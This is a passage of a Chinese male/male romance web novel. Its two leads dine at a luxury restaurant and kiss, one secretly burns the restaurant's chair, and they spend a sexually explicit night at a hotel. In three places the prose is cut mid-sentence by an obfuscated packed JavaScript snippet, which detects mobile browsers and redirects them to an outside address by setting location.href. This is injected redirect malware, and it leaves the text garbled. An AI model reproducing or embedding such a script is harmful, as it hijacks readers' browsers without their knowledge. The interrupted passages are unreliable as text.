“艹,你穿着鞋还敢踹我!” “我饿了。” “哪家店来着?” “我发你地址。” “我手机在你兜里。” “哦,忘了,给。” “没动我别的吧?” “删了几个缠着你叫‘时哥’还发裸照过来的女人。” “艹,你有病吧?” “如果你喜欢看,我也可以给你发我的。” “……上车吧。” 俩人并肩走向前边停的一辆路虎揽胜,戚时打开后备箱,何湛程却把东西全扔后座,要坐副驾,戚时笑,走过去替他打开车门,抬手挡在车檐,配合说:“请吧,三少。” 何湛程嘴角微微扬着,斜身坐了进去。 戚时发动车子,见人懒洋洋靠在位子上不动,提醒:“安全带。” 何湛程无动于衷:“手笨,不会系。” 戚时警告:“别太过分啊。” 何湛程:“饿了。” 戚时:“……” 无奈,解下自己安全带,倾身凑过去帮人系好。 温凉的嘴唇轻轻蹭在耳边,吐着热气:“二哥,要我送你辆好点的车吗?” 戚时面无表情将人脸摁回去:“我就喜欢这种车型。” 整张脸被那张粗糙大掌包裹,他伸舌舔舔对方手心:“哦,我有辆闲置的红色玛莎拉蒂。” 戚时嫌弃地抹手在人肩头蹭掉口水,冷着脸坐回去:“是呗,和你一样骚。” 何湛程轻笑一声,正准备再逗人几句,裤兜手机响起。 来电显示:刘祥。 “谁啊?”驾驶座上人漫不经心地问。 “刘导。”何湛程说,然后接起电话。 为表对总裁大人的忠诚,主动打开了免提。 然后,裴玉急哄哄的大嗓门就充斥遍整个车内: “三少!三少你在哪儿啊?!刘导说你没去机场啊?你身上没钱,隔三差五就感冒高烧的,你也不跟我说一声,一个人到处乱跑干什——” 何湛程面不改色果断挂掉电话。 “搞诈骗的。” 戚时脸阴沉下来:“他叫你‘三少’。” 何湛程劝:“你听错了。” 戚时冷笑:“我认识这个声音,这是裴玉吧?那小子长得跟朵花似的,这两年开得正盛,怎么,你俩这么要好啊,你去哪儿还需要时时刻刻跟他汇报? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409031|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 何湛程支胳膊在车窗,慵懒托腮:“是啊,所以某些人如果有心的话,就得快点儿抓紧啊,万一我跟人家跑了怎么办?” 戚时一脚踩足油门:“谁稀罕。” 想来是这家法餐厅的至尊SVIP情侣包厢价格高昂,很少人订,所以顾客迟到将近一小时才来,仍有位置。 来者是两位身高腿长的帅哥,前台经理惯见大场面,面带微笑,递给他们房间号,并招手令侍者引领他们过去。 何湛程坚持拒绝:“真的不用了,我们在大厅就好。” 他甚至连普通包厢都不敢坐。 他怕戚老二吃醋打死他。 戚时揪着他后衣领,提溜小鸡似的把人就往包厢里带。 “退啥啊,钱都花了,不享受一把对得起刚一路全亮的绿灯吗?” “我觉得,”何湛程垂死挣扎着,“我们应该让位给真正恩爱的情侣。” “呵,”戚时不以为然,“真正恩爱的情侣未必就付得起咱哥俩儿占的位子。” “也是。”何湛程笑,想到什么,偏头说:“二哥,你是不是在京城还有家会所啊,待会儿吃完饭带我去玩玩呗?” “行啊,”戚时蛮潇洒,“你交我100万会费,我就带你进去。” 何湛程耍赖:“我都认识你了,哪里还用交什么会费。” “你也知道你现在归我管啊?”戚时不客气地抬起手,蓄足力弹人一个大脑崩儿,何湛程吃痛一叫,他手指戳了戳兔崽子眉心,警告着:“你大哥把你放我这儿来,是让我约束你,可不是让我带着你乱来的!” 何湛程“切”了一声,正要嫌弃人小气,正引路的男侍者止住脚步,矜持的白色手套缓缓推开一道门,说:“请进。” 戚时拎着兔崽子一起,环顾打量着,一边往里走。 黑金奢华格调陈设,光影偏暗,进门偏左,有二人座的藤编摇篮椅,深棕软垫上放着餐厅赠送的花束和蝴蝶结礼品盒;墙上挂着粉蓝缤纷的花盒,盒下方悬挂着“FOREVER IN LOVE”的卡片;铺着黑丝绒餐布的长桌,按照烛光晚餐的标准布置,中央放着蜡烛、玫瑰花,和一个四寸的黑天鹅蛋糕。 白色水晶珠帘和透明气球也有,下方是一个黑色真皮长凳,放置在半弧形的落地窗前,坐在那里可以俯瞰灯火璀璨的帝都夜景。 隆重而浪漫气息瞬间扑面而来。 戚时踏着皮鞋,绕了一圈,东摸一下,西掀一下,路过蛋糕,伸手就把天鹅脖子连脑袋一起拔下来,尝没两口,忙扭头冲何湛程嚷了句:“别吃这个啊,齁甜!” 何湛程正坐在摇篮椅上拆礼品,三下五除二撕了礼盒包装,拿出来发现是个富士拍立得,正准备拍着玩玩,发现没相纸,又掏手机网购相纸,把付款链接甩给戚时,抬头催人:“看微信,付账。” 侍者观察这两位比起来约会、更像是来打劫的哥俩儿,犹豫了下,走上前说:“请问二位现在就要上菜吗?我让雕花厨师和小提琴手过来。” “小提琴?”戚时正付款呢,头也不抬就说,“不用了,屋里有他一个人吵吵就够了,人多了我头疼。” “那厨师——” “厨师也不用,菜做好了直接端上来,速度快点儿,或者你先上个点心,给他垫垫肚子。” “好的。”侍者退下。 包厢门关上,戚时插兜立在落地窗前,正欣赏夜景,满胸腔浮上雄心壮志,一回头,见小傻子低头认真地倒腾着拍立得,没忍住一笑。 朝人走过去,一屁股坐他旁边,凑过去问:“诶,干嘛呢,你想拍照片啊?” 胸前黏上来一颗重重的大头,清新香水味混杂着淡淡的烟草味,何湛程一怔,鼓捣机子的心思忽然就没了。 缓缓抬起头,盯着对方那张脸。 浓眉深眼窝,漆黑瞳仁,眼睛亮晶晶的,笑起来,恣肆张狂,俊得发邪。 下一秒,手中拍立得掉落在地毯上,他猛地扑过去,双手捧起戚时的脸,对准那人红得诱人的嘴唇,低头吻了上去。 23. 第23章 何湛程的吻无比强势地压了过来,戚时因惊吓而放大的瞳孔里倒映着的,是他做梦都不敢去触碰的一张脸。 清贵,纯净,挺翘白皙的鼻尖,睫毛低覆,嘴唇柔软。 欺身下来时,满眼不容抗拒的俯视意味,迷得人呼吸颤抖心脏狂跳。 几乎立刻,戚时喉咙一紧,闭上了眼,屈服了欲望本能。 何湛程试探着舔了下他舌尖,他不满足,干脆抄手一捞,将对方整个人抱到自己大腿上,一手托着对方的臀,另一手按着怀里人的后脑勺,几乎是嵌入式将对方的唇舌往自己的齿间递送。他不太会吻,怀里人吃痛轻哼一声,他瞬间起了反应,恨不得将人嚼烂吞下去。 偌大包厢空荡,两个人在空间狭小的摇篮椅里拼命纠缠在一起。 身下椅子在黯淡的光影里没节奏地乱晃,他与他贪婪地侵吞着彼此身上的气息。 “哈……”何湛程仰着脖子喘气,“我以为,你会拒绝我……” 戚时猛地收紧揽在人腰的手臂,埋头大口吸吮着对方脖颈,出言嘲讽:“少爷瞧不起谁呢,二哥可比你想象得要玩儿得起的多。” “可你吻技很差诶……” “你又好到哪里去……” 漫长的三分钟,这场没来由的激吻正式结束,堆簇着花束的暗室角落,他与他对视,各自衣衫不整。 戚时慵懒地斜躺在摇篮椅里,一条长腿踩在地上,有一下没一下地晃着摇篮,何湛程趴在他身上笑得开心,二人的双腿蛇尾巴似的,紧紧绞在一起。 “还没好?”何湛程感知到身下异样,伸手摸进对方腰带:“我帮你。” “不用,”戚时不甚在意地握住他手,放到自己唇边亲吻了一下,“待会该吃饭了。” 何湛程一笑,抽回手,低头帮他系领扣; 戚时也笑,抬起手,仔细帮他打好领带。 俩人有一搭没一搭地闲聊。 “说真的,之前没人吐槽过你吻技差吗,咬得我痛死了。” “没啊,跟我这么帅的男人接吻,就你最不识相。” “切,下次不要和你亲了。” “不和我亲,和谁亲?裴玉,还是那个什么许若林,或者……女人?” “你猜啊,猜中了我就告诉你。” “我不想猜。” “那我也不告诉你。” “谁稀罕。” 他们起身分开。 戚时弯腰捡起掉在地上的拍立得,扭头问:“诶,你刚才买的相纸送哪去了?” 何湛程懒洋洋躺在摇篮里,望他:“干嘛,想知道我住哪儿啊?” 戚时抱臂倚在墙边,笑:“刘导派的司机让你赶走了吧?晚上不让我送你回去?” 何湛程抬手来回撩着刘海:“吃完饭再说呗,你不领我玩儿,我打算自己走呢。” “自己怎么走?”戚时两眼眯起,走过来将拍立得递给他,威胁着:“你敢乱跑,我可不替你付账。” “哎呀不花你钱,真是的,看你抠的。”何湛程继续鼓捣他的拍立得,随口道:“待会儿出去,我从街上随便拉几个人,让他们带我随便去个好玩儿的地方逛两圈,前阵子陪翘楚逛景区,真是一个塞一个的没劲,我要去年轻人多的地方。” “林翘楚不是你表姐么,”戚时挑眉问,“你小子没大没小的,背地里就直呼其名啊?” “嗯……”何湛程说,“她不让我叫她表姐了。” “为啥?” “你猜啊。” “猜个锤子的猜。”戚时没好气地笑,趁机俯下身,很想去捏一下兔崽子喷香的脸蛋。 对方淡淡地望过来,眸底波澜不惊,问:“你干嘛?” 戚时一顿,这才意识到他与他亲密无间的激情已经过去了,自己这会儿主动…… 不太合适。 手指便落在对方乱蓬蓬翘起的头发上,一脸嫌弃地拨弄两下:“别撩了,你头发现在就像个鸡窝,赶紧把刘海放下来。” “哦。”何湛程就听话把刘海放下了,又掏出小镜子打理了下,问他:“这下呢?帅不帅?” 戚时捧场竖起大拇指:“超帅,简直就是理想型!” 何湛程一脸得意:“那是!” 侍者推车送餐进来。 两米长的桌子,戚时和何湛程一人坐一头,摆在桌上的大束玫瑰花、银座烛台、蛋糕,还有挂在头顶的气球挡着彼此视线,戚时嫌碍事,让侍者全都撤了,手下迅速切好牛排,给对面的人递了过去。 “来,程儿。” “谢谢二哥。”何湛程笑着接过,将自己那盘刚咬过一口的牛排换过去。 包厢静谧下来,二人平平淡淡地吃着饭,喝着红酒,不时碰个杯,聊几句有的没有。 左手边,是他与他初吻过的角落;右手边,是窗外都市的繁华景色。 气氛祥和得竟如此令人不舍。 戚时咬着最后一口牛排,心下琢磨着,倒不是他非要送何湛程回酒店,只唯恐兔崽子大晚上一个人在外边儿瞎溜达,万一又遇上了谁…… 万一又遇上了谁,他这个做东道主的怎么跟何老大交代? 正要开口跟何湛程说,要不待会儿叫个出租送他回去歇着,何湛程身子突然一个哆嗦,猛地别过头,打了个大喷嚏。 放下刀叉,飞速连抽三四张纸,低头擤鼻涕。 戚时皱眉,这才想起出发那会儿,裴玉在电话里嚷嚷着何湛程貌似体质不太好,三天两头就感冒发烧,自己也不知道照顾自己。 今天本来就阴天,这兔崽子白天从郊区坐长途车来市里,下午进进出出的买衣服,这一冷一热的,傍晚还故意穿这么少来调戏自己,他不感冒谁感冒? 戚时查了下天气预报,今日气温是:-3°/8° 何湛程擤完鼻涕,说话还带着鼻音,叫他:“诶,待会儿下楼给我买件厚外套。” 戚时瞪他一眼:“废话,就你这德行,还想着大半夜跑出去玩儿呢,待会儿吃完饭就走,先去附近药店拿点儿感冒药,然后我送你回酒店歇着。” 何湛程笑着提醒:“你也得吃点药,不然传染给你了。” 戚时满不在意地挥了下手:“我身体比你好多了。” 忽然间想到什么,说不上是不是携带私心,戚时手指胡乱敲着桌子,提醒着:“你应该是水土不服了,得多养阵子,既然最近身子不好,私生活上好歹收敛点,别净和人乱搞,省得病上加病。” 何湛程又扯纸巾擤鼻涕,闷声道:“那你还要送我回去?” 戚时:“……” 什么意思? 这什么意思? 这话说得,他戚老二可是正派人物! 何老三这精虫上脑的小混蛋,难不成以为全世界人都和他一样,成天光想那事儿么? 呵,搞笑! 戚时按了铃,叫侍者来,递给对方一张卡,说结账,再请人帮忙跑一趟腿,去楼下附近某潮牌时装店买件黑色的长款羽绒服,要2XL号。 “好的。”侍者拿着卡退下。 何湛程望过去:“你怎么知道我穿2XL?” 戚时叼上烟,正低头打火,闻声一顿,又将烟和打火机收起,状似敷衍地回:“这有什么的,我一看就知道啊。” “哦,”何湛程又问,“怎么不点烟?” “胃里不太舒服,”戚时说,“不想抽了。” “你平时少喝点儿酒,”何湛程说,“我上次看茉莉那么能喝,就想着你肯定——” “她酒量好,是她本来就这么能喝,这是我招秘书的硬性条件之一,”戚时打断他,语气冷硬几分,“不是我逼她的。” 何湛程愣了一下,看着对方认真的脸,忍不住笑了起来。 “笑什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409032|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没什么。” “肯定有什么!” “真的没什么。” “你说,你说!” “我说,我说!” “别学我说话!” “就学你说话!” “你个兔崽子!” “你个纸老虎!” …… …… 侍者打开门,何湛程穿着暖烘烘的新羽绒服,优哉游哉地从包厢里走出来,戚时不紧不慢地跟在人后面,左手拿着拍立得的礼品盒,右手挽着某人换下的风衣外套。 身后,侍者缓缓将门关上。 戚时忽地回头,视线穿过逐渐闭合的门缝隙,望向那张轻荡着的藤编摇篮椅。 心似乎也随之摇摆,一荡一荡的。 “先生,”侍者走上前询问,“请问是有东西忘记拿了吗?” 戚时下巴冲里面一抬:“你们屋里那张椅子,卖么?” 侍者歉然:“不好意思先生,这座摇篮及室内的其他家具布置,都是我们餐厅的设计师独家设计的艺术品,任何一件都是非卖品,如果您喜欢,我们这边可以提供给您设计师的名片。” 戚时挑了下眉,问:“可我就想要这把,出多高价格都不卖?” 侍者无奈笑:“不好意思,这是我们餐厅的规定。” “行吧。”戚时也不强求,三两步倒退回走廊,扭头瞧了眼外面。 何湛程已经走下楼,修长的黑色背影正缓缓下降着。 戚时放心回头。 将拍立得和风衣塞侍者怀里,三两下解开西装扣,动作干练地撸起袖子,转身步履生风,推门迈了进去。 侍者一吓,以为这个看起来不太好惹的客人准备要强抢,连忙抱着东西跟了进去,没料这客人竟然直接飞步冲过去,蓄足了力往下抬脚一踹,转眼就在摇椅座上踹了个大洞! “OMG!”侍者尖声惊呼。 正在瞪眼震惊着,又见那客人——不,那是臭流氓、是恶客! 恶客迈着大长腿走向吃剩的餐桌,右手抄起盘子旁边的餐刀,在侍者逐渐惊恐起来的目光下,扬起猛然肌肉暴涨的手臂,朝摇椅顶部的十字合口处挥下数刀。 一下,又一下,连续挥舞才砍断一半,恶客咬牙切齿笑骂了句“真他妈的结实啊”,侍者目瞪口呆,在他以为恶客要放弃的时候,那人却扔掉餐刀,从裤兜摸出个Zippo的冰貔貅纹打火机。 噗呲一声,恶客抬起手,小火苗就在摇椅顶剩下半截的合口处烧着了。 侍者眼前一黑。 那人姿态悠闲地摸出根烟,扬起手,将烟头放在火势愈烈藤编椅上的点燃。 火光噼里啪啦地烧着摇椅,藤筋随之一根根崩断,恶客叼烟站在一旁,鼻息不时喷出青色的薄雾。 他趁闲在手机上回复着什么消息,然后抬头,看火烧得差不多了,转身回餐桌,反手拎起冰桶就冲着即将蔓延开的火势浇了下去。 噗—— 呛人的白色烟雾刺进鼻腔,冰块和冰水以压倒性的优势将火扑灭,摇篮椅被烧黑了一半,恶客弯腰捡起餐刀,再次抬起手,在合口处轻轻一插,椅子随之彻底散架。 侍者心痛地闭了闭眼。 恶客也被熏得眯起眼,泛红的眼眶却令他显得愈发白皙英俊。他踩着皮鞋从白色烟雾里走出来,抬手轻掸了下落在身上的灰烬,将一张卡片插进侍者口袋,再从人怀里把自己的东西拿走。 “不好意思,”他毫无愧疚地道歉,“我不喜欢我坐过的椅子被你们别的客人坐,这是我秘书的名片,不管赔偿多少,你们直接找她。” 侍者默不作声地拿起名片看: 茉莉/擎荣集团行政总秘书 “哦对!”恶客在走廊走到一半,忽地又回头冲侍者笑,心情看起来很愉悦:“你们这儿的布置我很喜欢,如果有机会,我下次还来!” 24. 第24章 晚八点半,何湛程拿了最近常吃的感冒药,拎着塑料袋,站在药店门口,给蹲在隔壁商店门口台阶上的男人发刘导帮他定的五星酒店地址。 戚时拨弄着手机,扫一眼街道名就知道在哪儿了,说:“不远。” 他刚刷了牙,又跑去便利店买了盒薄荷糖,倒了四五颗进嘴里,正嘎嘣嘎嘣嚼着。 心里其实怪害臊的,分明奔三的年纪,又是个老烟民了,就因为接过了一次吻,忽地就跟个十来岁的小年轻似的,莫名注重起这些有的没的。 何湛程纳闷地走到人身边,嗅着戚时肩头淡淡的烟熏味,问:“你刚才干嘛去了?” 戚时说:“抽烟啊。” 何湛程疑惑:“我怎么觉着你是去哪儿放火了呢?” “可能吧,”戚时帅气地一捋发型,“因为你二哥我是芳心纵火犯。” 何湛程:“……” 何湛程干脆也蹲在他旁边,说:“那我陪你一起散会味儿吧。” 戚时偏头瞧他。 那是一种并不刻意的回眸,在檐下阴影里,英气勃发的脸庞流动着朦胧的光,浓眉斜挑,俊丽风流。 何湛程愣了下,忍不住伸出手,指尖冰凉,替戚时抹掉黏在湿润眼尾处一小根睫毛,然后闭上眼,撅嘴凑在人眼尾处轻轻吹了吹。 戚时睫毛忽闪了下,闭上眼,蓦地心口一紧,连呼吸都不敢。 “二哥,”兔崽子抱着塑料袋,歪头靠在他肩上,“你真帅。” 戚时笑了笑,伸胳膊揽人入怀,埋头拱在人脖颈间猛吸了两口气,逗得人咯咯笑。 那人一笑,他整颗心都要化了。 他觉得兔崽子长得才是真好看。 不单是白,皮肤也好,脸上软软的绒毛好可爱,连微不可见的毛孔里都散着好闻的香味。 但兔崽子说他没喷香水,戚时也没坚持,他猜兔崽子大概不知道自己身体里蕴藏的香气有多迷人。 香,软,屁股也翘,看起来高高瘦瘦,真正摸进了衣服里,才知他极为丰满多汁,亲热时灵活扭动起来的腰肢,连勾引人的技术都是一流。 至于性格,那就更好了。 戚时就没见过何湛程真正发过脾气,看面相,何湛程属于笑起来清纯动人,不说话时又偏高贵冷艳那一挂的。 不愧是大户人家教养出的孩子,永远好商好量的,懂事儿、大方、有礼貌,浑身透着一股子聪明伶俐劲儿,不乐意了还会缠着人撒娇,笑意迷离的,一张抹了蜜的小嘴儿叭叭的,文采也好,简直完美到令人欲罢不能。 戚时才舍不得让他家宝贝乖兔崽看见那么暴力的场面,万一把人吓坏了怎么办? 临出发前,戚时漫不经心倚在驾驶座门外,飞快扭头看一眼坐在车里喝水吃药的乖兔崽,然后低头捂紧手机,在网上快速搜了一下接吻教程。 网上说,接吻得循序渐进,不能一上来就硬啃,要先嘴唇啵两下,观察下对方啥反应,如果对方也有那方面意思的话,他再伸舌头。 但伸舌头之后的步骤,内容就变得五花八门起来,什么湿吻干吻、滑动吻、推动吻、齿痕吻、深喉吻,看得人眼花缭乱,戚时眉头皱起,不懂怎么俩人亲个嘴儿还有这么多讲究。 还有个热门内容,说判断一个男人吻技好坏与否,要看他会不会打樱桃梗结。 戚时不屑一笑。 樱桃梗结算个屁,如果何老三舌头够长,他打个中国结都没问题。 他只想和那人紧紧缠绕在一起,舌头也好,腿也好,或者……其他地方也好,他将吸吮遍那人身上每一处甘甜的汁液,品尝香软肌肤里的酒味,把人欺负到泛泪,让乖兔崽带着哭腔躺着他身下求饶,然后,将自己彻底渗透进去。 戚时也说不上这是什么心理,他从未对任何一人有过这样奇异兴奋的感觉。 他们这才第二次见面,兴许互相有那么几分喜欢,但绝谈不上爱,可那人就是这样,稍微靠近自己一点,他就想扑上去亲,想表白,想买好多好多衣服鞋鲜花礼物送给他,又想把人扒光了锁在卧室里,不允许这个风流惯犯再出去鬼混,更不准他再看别人一眼。 但何湛程是那么的随性坦然,突然一下强吻他,突然又一下抽离他,飘忽不定的,搞得人心乱如麻,他又被迫将那些邪恶的念头扼杀在脑海。 他阅人无数,但鲜少主动,因为对他主动的人实在太多,多到成群的美女坐在他怀里,他笑着享受,东摸一把,西撩一下,低头嗅着她们发间的芳香,闭眼听着耳畔此起彼伏乃至聒噪不休的娇嗔,他就感觉自己被世间所有的爱包围了。 可他只有自己需要了,才会随便找个谁解决一下。 谁呢? 一个又一个的,记不得名字,反正钱到位就是了。 他只记得一个蒋灵。 因为蒋灵骂他恋兄。 这女人太聪明了,一针见血地穿透他的心脏,刺激得他头皮发麻,吓得他整夜整夜的睡不好觉。 他并不对他哥抱有爱情的幻想,但又无法否认心里存在着某种微妙的感觉,于是觉得自己有了把柄在她手里,克制住暴脾气,对她好言哄着,大把钞票烧着,永远不说分手,只希望她能乖些。 倒不是怕她一个大学老师在媒体面前揭露他心里那点子破事儿。 他戚老二能怕她这? 他怕他亲老哥知道了,会抡皮带抽死他。 多几把丢人啊……他不止一次搓着脸想,脸都快搓掉一层皮了。 现在好了,她终于不说他恋兄了。 她又说他喜欢小傻子。 喜欢小傻子咋啦? 人帅多金又有才。 说,随便说。 他快快乐乐的就和她分手了。 回酒店路上,戚时老瞄着副驾上的人,乖兔崽吃了药就开始打盹,削瘦的身形衬得羽绒服也那么单薄平整,歪着脑袋靠在车窗,安静的小脸藏在毛茸茸的帽子里,只露一点挺翘的鼻尖。 想来是奔波一天累坏了,不知道上午跑哪儿玩去了。 戚时面带笑意,欣赏了半天乖兔崽睡熟的漂亮脸蛋,想到什么,脾气突然蹭地一下上来。 沉着脸,单手打着方向盘,另一手怒气冲冲给裴玉打电话: “小裴,”他憋着火问候,“最近戏拍得怎么样啊?” 小裴接通,一如既往好脾气地笑:“挺顺利的,时哥你有事找我吗?” “你还问我?”戚时呵呵笑,“老子还没问你,你们进组前,我让茉莉都跟你们交代过什么?” 小裴安静半天,缓缓试探问:“不准咱家公司女艺人和何三少走太近?” 戚时狞笑:“你也知道啊?” 小裴回声微弱:“时哥,我……我好像是男艺人。” 戚时:“……” 小裴很聪明地转过来脑筋: “时哥,你现在是跟三少在一块儿?他原来是去找你了?你们两个……现在在哪儿啊?” 戚时手指敲了几下方向盘,骄傲一昂下巴: “我们刚吃了饭,他在我车上睡着了,现在送他回酒店,你甭惦记了。” “哦,他住哪儿啊?” 戚时冷冰冰地说:“从现在开始,我宣布,咱家公司男女艺人,一律不准和何老三走太近。” 小裴为难:“这个有点困难啊时哥,三少是我恩人,我得报答他啊。” 戚时心里不太舒服,问小裴怎么回事,小裴简言意骇把前两年珠宝晚宴上的事给老板讲了。 老板呵一声,本以为裴玉是个机灵人,没想到原来是个大傻子。 他犀利点评: “他那不是为了你,他就是单纯善良而已。” 这下裴玉却笑了。 笑得那么开怀,仿佛听到了什么天大的笑话,却并不是讽刺嘲笑,而是显而易见的、对某个人毫无底线的包容和宠溺。 说话也非常讨人厌,语气颇为怜悯地对他说: “时哥,要么说你和三少不熟呢,你一点都不了解他。” 戚时眉心一沉,攥紧了手机,辩解似的,说:“我知道。” 他知道何湛程是什么样的。 他全都知道。 但,何湛程对他和别人是不一样的。 是因为在他戚老二面前,那人才一口一个“二哥”的叫着,不经意瞥来的含笑媚眼,软软湿漉的舌头,摇摆的小翘臀,骚红的玫瑰和鞋。 是因为在他戚老二面前,那人才那么温顺惹人疼。 裴玉这小子又懂什么? 裴玉明明什么都不懂! “好吧。”裴玉到底不敢和老板犟嘴,只温和地笑着,提醒:“时哥,我受你提携,对三少这个人,我就一点想对你说。” “什么?” “时哥你虽然不是艺人,但却是咱们公司艺人们公认最英俊的头儿,按照我的审美,你比董事长还要帅,但——” 戚时严肃清咳一声,打断道:“有目共睹的事就不要总拿出来说了,影响不好。” 裴玉:“……” 戚时问:“但什么?” “但,时哥你今年二十七了吧?”裴玉笑,“我没有冒犯你的意思,男人三四十正值壮年,咱们都还年轻呢,只是三少和我相处的熟一点儿,他亲口对我说,他谈恋爱只会和比他年纪小的谈,你……” 他轻叹一声:“你小心别和我一样陷进去了。” 电话甚至都没挂,下一秒就被人甩手摔到后车座,手机落到真皮椅垫上,砸出一声闷响。 何湛程正在梦里,耳朵里灌进来身旁人模模糊糊的说话声,他听不清,只道是总裁大人日理万机开车也要忙电话,为了顾忌他而刻意压低了话音,他懒得去听,直到最后一声砸手机的闷响,才彻底将他吵醒。 他抬手拉下帽子,揉了揉眼,扭头看向旁边显然情绪不太对劲的人,皱了下眉。 “怎么了?”何湛程问,“是生意上的事吗?” 前边四百米就是酒店,戚时一语不发,踩着油门就冲过去了,进车位也跟漂移似的,看也不看,拧着方向盘就硬干,一刹间,空气中响起一道尖锐嘶鸣,路虎的车胎在油漆路面上匝出一道焦黑冒烟的弧,戚时一秒稳稳停好车,四方车距完美程度堪比教科书级别,引得周遭路人纷纷驻足惊叹。 何湛程也愣,不知道这人炫技还是生气,但无论那种,都挺帅的。 戚时解下安全带,舒了口气,脾气好了些。 他扭头,握着身旁人的手,问:“睡么?” 何湛程又愣。 这傻大个儿这么直接的么? 想也不想,他点头:“行啊。” 戚时送他回来,不就是想和他睡么? 戚时一颗心绷紧着,认真盯着他:“我的规矩是,和我睡,就得做我女朋友。” 何湛程再次点点头:“行啊,那我就做你男朋友呗。” 戚时掌心使力,攥紧他手,继续盯他:“做了我的人,你就不能和别人有牵扯。” 何湛程继续点头:“互相尊重呗,行啊。” 戚时微微诧异,忍不住问:“这么轻易?” 何湛程望着他笑,又抬手摸了摸他的脸:“你帅嘛!你长这么帅,说什么话都那么动听,我当然要听你的啊。” 这一番调戏让人很不是滋味,戚时一句“要是我过两年不帅了呢”堵在嘴边,死活没问出口。 不过,干嘛要考虑过两年的事? 戚时用他惯常的流氓式思维转念一想,对啊,今朝有酒今朝醉,他本来也不太考虑长远的事。 他一不结婚,二不生娃,何老三是个风流兔崽子,他戚老二难不成就不能寻求自己的快活了么? 他说不准比对方还先腻了呢。 他们拥在一起激吻着、步伐错乱地撞进了房门。 分不清谁比谁更贪婪,插进对方头发里的手爆着青筋,爱欲缠着暧昧在唇齿间拉丝,红帆布鞋与黑皮鞋犹如跳舞一般,不停旋转、旋转、再旋转,绕得人头脑眩晕却快乐无极。 从未有过的感觉,像两块天生一对的磁铁终于合并,他与他互相为对方着迷。 薄荷香和淡淡苦药味在舌尖搅动的津液里交换,羽绒服、西装外套、黑衬衫压着白衬衫、交叠的领带和腰带,耳垂、脖颈、锁骨、无数敏感地带……低笑声、水声、闷哼声,滴滴答答,一件件掉落在地,又被两个意乱情迷的人踩过。 戚时将人吻得七荤八素,何湛程很快招架不住他。 戚时三两下就将人扒干净了,他四处玩|nong着他,听怀里人撅着被亲肿的嘴唇,在他耳边嘟囔了句“你刚才骗我”,他眼尾不禁浮起几分笑意。 心想,除了念书,老子学邪门歪道都挺快的。 …… …… 等人真正要进来,何湛程忍不住缩了缩肩膀,他突然有点想躲。 他也确实躲了。 心想这姿势不对,他预先打算的不是这样的。 “怎么了?”身上男人一把将乱爬的他重新捞回来摁怀里,语气也怪,七分爱怜三分讽刺:“按理说,你不该紧张吧?” 何湛程瞬间就不高兴了,大力推了下对方胸膛,抗拒道:“我没在过下面。” 戚时倏地睁眼,愣住:“什么?” 何湛程仰头瞪他:“我一米八四,看起来像是在下面的那个?” 戚时懵了,同时心头猛地蹿上一股无名窃喜。 他像个第一次恋爱的男孩儿,极其兴奋地嚷着:“那、那我一米九,我也不像啊!” 尚未长好的何湛程同学暂落下风。 他不好跟戚老二硬刚,于是很有眼色地投怀送抱,贴脸磨着对方脸边,咬耳朵撒娇。 “二哥,我不太适应,要不,你用嘴吧。” 戚时犹豫,无奈看他一眼。 小妖精冲他布灵布灵地眨眼。 戚时本欲妥协,默不作声低下头,下一秒,腾地又坐起身。 “不行,我也不太适应!” 何湛程脸色登时沉了。 戚时连忙将人抱在怀里哄,嘬嘬脸蛋,又吸吸脖子,讨好的吻上对方光滑的凉肩,埋头在人肩窝来回蹭着,低声道歉:“程儿,体谅体谅二哥吧,二哥还没碰过男人,嗯?” 尽管很扫兴,何湛程还是心软了。 说不上来为什么,大概是撒娇男人最好命。 虽然换个人,他早就一脚把人踹地上,穿好衣服扬长而去了。 “程儿……”肩窝里的大头还在蹭他,“程儿……三少……乖乖崽……” 摆不出太臭的脸色,何湛程嘴角翘起来,勉强消气。 他转过身,仰脸凑在男人的嘴唇上啵了一下,说:“那你多亲亲我别的地方。” 那人便仔细吻遍了他全身。 事后—— 其实也算不得事后,两个人轮着去洗澡。 戚时刚伺候过人,身上火旺得一批,他先洗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409033|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何湛程靠在床头揉着脑袋,头疼地考虑着往后他俩该怎么办。 他反正是不可能在下面的,他们老何家的男人,一个比一个活在传说里,那就从来没有过“在下面”这一说,但显然,戚老二也很强势,并且很有实力。 不禁万分苦恼起来,这要是到最后谈腻了,他何老三都没能吃上口唐僧肉,那可咋整? 难不成真要等个两三年,等他长高了,再让戚老二屈服么? 不过……心里忍不住窃喜,第一个正式男友就谈这样的大帅哥,他好像也不亏。 之前都是乱七八糟的玩儿,他还没谈过男朋友呢。 